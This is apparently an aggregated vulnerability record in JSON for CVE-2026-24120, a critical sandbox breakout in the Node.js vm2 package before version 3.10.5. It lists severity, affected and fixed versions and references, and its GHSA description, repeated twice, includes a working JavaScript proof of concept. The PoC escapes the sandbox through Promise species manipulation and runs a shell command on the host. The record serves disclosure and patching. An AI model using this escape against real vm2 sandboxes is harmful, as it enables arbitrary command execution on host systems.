{"id":"CVE-2026-24120","aliases":["CLSA-2026-1787860907","EUVD-2026-26986","GHSA-2cm2-m3w5-gp2f","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-qvjj-29qf-hp7p","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-24120"],"status":"published","title":"vm2: Sandbox Breakout Through Promise Species","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00896,"percentile":0.60033,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-693","CWE-807","CWE-94"],"published":"2026-05-04T16:31:13Z","modified":"2026-10-28T02:31:06Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.10.5"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.9.7-aikido.5","3.9.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.9.7-root.io.5","3.9.7-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.3"},{"fixed":"3.10.5"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.10.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"red hat","product":"self-service automation portal 2"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-qvjj-29qf-hp7p","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.5","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-24120","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466529","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24120.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24120","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qvjj-29qf-hp7p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24120.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-24120","title":"vm2: Sandbox Breakout Through Promise Species","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5.","status":"published","published":"2026-05-04T16:31:13.639Z","modified":"2026-07-15T01:17:26.824Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-693","CWE-94","CWE-807"],"updated_at":"2026-11-02T14:19:50.24628Z"}],"euvd":[{"id":"EUVD-2026-26986","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5.","status":"published","published":"2026-05-04T16:31:13Z","modified":"2026-07-15T01:17:26Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:55.318488Z"}],"ghsa":[{"id":"GHSA-qvjj-29qf-hp7p","title":"VM2 Has Sandbox Breakout Through Promise Species","description":"### Summary\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.\nThis function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.\n\n### PoC\n\nThe following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nObject.defineProperty=()=\u003e{};\nasync function fn() {\n    const e = new Error();\n    e.name = Symbol();\n    return e.stack;\n}\np = fn();\np.constructor = {\n    [Symbol.species]: class FakePromise {\n        constructor(executor) {\n            executor(\n                (x) =\u003e x,\n                (err) =\u003e { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }\n            )\n        }\n    }\n};\np.then();\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","status":"published","published":"2026-05-05T16:23:35Z","modified":"2026-05-05T16:23:37Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94","CWE-693"],"updated_at":"2026-11-02T14:40:00.970271Z"}],"nvd":[{"id":"CVE-2026-24120","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5.","status":"published","published":"2026-05-04T17:16:21.813Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-693","CWE-807"],"updated_at":"2026-11-02T14:12:17.022502Z"}],"osv":[{"id":"CVE-2026-24120","title":"vm2: Sandbox Breakout Through Promise Species","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5.","status":"published","published":"2026-05-04T16:31:13.639Z","modified":"2026-10-28T02:31:06.455944037Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693","CWE-94"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-qvjj-29qf-hp7p","title":"VM2 Has Sandbox Breakout Through Promise Species","description":"### Summary\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.\nThis function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.\n\n### PoC\n\nThe following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nObject.defineProperty=()=\u003e{};\nasync function fn() {\n    const e = new Error();\n    e.name = Symbol();\n    return e.stack;\n}\np = fn();\np.constructor = {\n    [Symbol.species]: class FakePromise {\n        constructor(executor) {\n            executor(\n                (x) =\u003e x,\n                (err) =\u003e { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }\n            )\n        }\n    }\n};\np.then();\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","status":"published","published":"2026-05-05T16:23:35Z","modified":"2026-05-05T16:41:27.498581Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693","CWE-94"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"ROOT-APP-NPM-CVE-2026-24120","title":"CVE-2026-24120 in vm2 - Patched by Root","description":"Root has patched CVE-2026-24120 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-30T06:02:29Z","modified":"2026-09-30T07:15:08.735764016Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}